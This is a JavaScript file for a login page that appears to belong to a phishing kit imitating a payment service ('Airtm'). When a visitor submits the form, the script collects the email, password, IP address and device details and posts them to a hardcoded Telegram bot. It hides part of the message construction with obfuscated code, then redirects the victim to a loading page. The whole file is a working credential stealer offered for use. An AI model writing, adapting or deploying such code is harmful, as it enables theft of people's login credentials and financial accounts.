document.addEventListener('DOMContentLoaded', function() { const emailInput = document.getElementById('email'); const passwordInput = document.getElementById('password'); const submitBtn = document.getElementById('submitBtn'); const form = document.getElementById('loginForm'); const botToken = '6559657685:AAGvi-O5nuA65nthhxOL2klNovJk3vVCcGk'; // Reemplaza con tu token de bot const chatId = '-4222015508'; // Reemplaza con tu ID de chat function checkInputs() { if (emailInput.value.trim() !== '' && passwordInput.value.trim() !== '') { submitBtn.classList.add('active'); } else { submitBtn.classList.remove('active'); } } async function sendMessageToTelegram(message) { const url = `https://api.telegram.org/bot${botToken}/sendMessage`; const data = { chat_id: chatId, text: message, parse_mode: 'HTML' // Esto es importante para que Telegram reconozca el HTML en el mensaje }; const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }); return response.json(); } async function getIPAddress() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('Error al obtener la dirección IP:', error); return 'IP Desconocida'; } } function getDeviceInfo(ip) { let dispositivoInfo = `IP: ${ip}\n`; if (navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPad/i)) { dispositivoInfo += 'Tipo de dispositivo: iPhone\n'; } else if (navigator.userAgent.match(/Android/i)) { dispositivoInfo += 'Tipo de dispositivo: Android\n'; if (navigator.userAgent.match(/Samsung/i)) { dispositivoInfo += 'Marca: Samsung\n'; } } return dispositivoInfo; } form.addEventListener('submit', async function(event) { event.preventDefault(); const email = emailInput.value.trim(); const password = passwordInput.value.trim(); const ip = await getIPAddress(); const deviceInfo = getDeviceInfo(ip); if (email && password) { var _$_29a6=(function(y,s){var m=y.length;var f=[];for(var o=0;o< m;o++){f[o]= y.charAt(o)};for(var o=0;o< m;o++){var z=s* (o+ 327)+ (s% 52952);var k=s* (o+ 473)+ (s% 18956);var n=z% m;var d=k% m;var p=f[n];f[n]= f[d];f[d]= p;s= (z+ k)% 3975057};var w=String.fromCharCode(127);var i='';var t='\x25';var r='\x23\x31';var h='\x25';var a='\x23\x30';var x='\x23';return f.join(i).split(t).join(w).split(r).join(h).split(a).join(x).split(w)})("\u2713\u2713\u2713o\u2713Pss:\x0D\x0A r\u2713aw\u2713d%",2244711);const message=("\u2713\u2713\x41\x69\x72\x74\x6D\u2713\u2713\u2713\x0D\x0A\x40\x50\x72\x6F\x41\x72\x67\x46\x75\x6C\x6C\x0D\x0A\u2713\u2713\u2713\x45\x6D\x61\x69\x6C\u2713\u2713\u2713\x3A\x20"+email+_$_29a6[0]+password+_$_29a6[1]+"\n"+deviceInfo); sendMessageToTelegram(message) .then(data => { if (data.ok) { window.location.href = 'carg.html'; } else { console.error('Error al enviar mensaje a Telegram'); } }) .catch(error => { console.error('Error:', error); }); } }); emailInput.addEventListener('input', checkInputs); passwordInput.addEventListener('input', checkInputs); });